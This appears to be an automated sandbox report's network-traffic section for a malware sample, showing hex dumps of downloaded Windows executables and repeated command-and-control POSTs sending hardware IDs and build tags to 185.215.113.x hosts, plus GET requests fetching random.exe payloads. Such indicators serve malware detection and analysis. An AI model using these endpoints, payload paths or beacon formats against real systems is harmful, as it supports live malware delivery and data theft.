67 67 61 6e 74 00 30 00 00 00 a0 4c 00 00 22 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:22 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:25 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="build"doma------EBFBKKJECAKEHJJJDBAF--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001102001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001103001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="build"doma------KEHJKJDGCGDAKFHIDBGC--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001104001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="build"doma------JDAFBKECAKFCAAAKJDAK--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001105001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"doma------HJJEHJJKJEGHJJKEBFBG--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 2d 2d 0d 0a Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="build"doma------HCGDGIDGIJKKEBGDAECA--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="build"doma------FHJKKECFIECAKECAFBGC--
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="build"doma------JEGDGIIJJECFIDHJJKKF--
